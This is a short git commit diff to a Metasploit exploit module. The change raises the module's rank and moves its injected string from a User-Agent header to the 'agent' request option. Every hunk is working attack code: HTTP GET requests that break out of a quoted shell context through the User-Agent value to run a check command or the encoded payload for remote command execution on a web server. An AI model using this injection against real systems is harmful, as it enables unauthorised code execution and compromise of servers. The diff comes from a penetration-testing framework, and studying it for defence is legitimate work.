Ranking upgrade and uses agent key instead of manually setting user-agent in headers

MS-2855/keylogger-mettle-extension
headlesszeke 2017-12-21 23:10:26 -06:00
parent b31ac73996
commit 3dfb836768
1 changed files with 4 additions and 10 deletions

View File

@ -4,7 +4,7 @@
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
@ -53,9 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'headers' => {
'User-Agent' => "\"; printf \"#{check_str}"
}
'agent' => "\"; printf \"#{check_str}"
})
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
return Exploit::CheckCode::Vulnerable
@ -90,9 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'headers' => {
'User-Agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
}
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
})
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
@ -113,9 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_request_raw({
'method' => 'GET',
'uri' => '/',
'headers' => {
'User-Agent' => "\"; #{payload.encoded} #"
}
'agent' => "\"; #{payload.encoded} #"
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")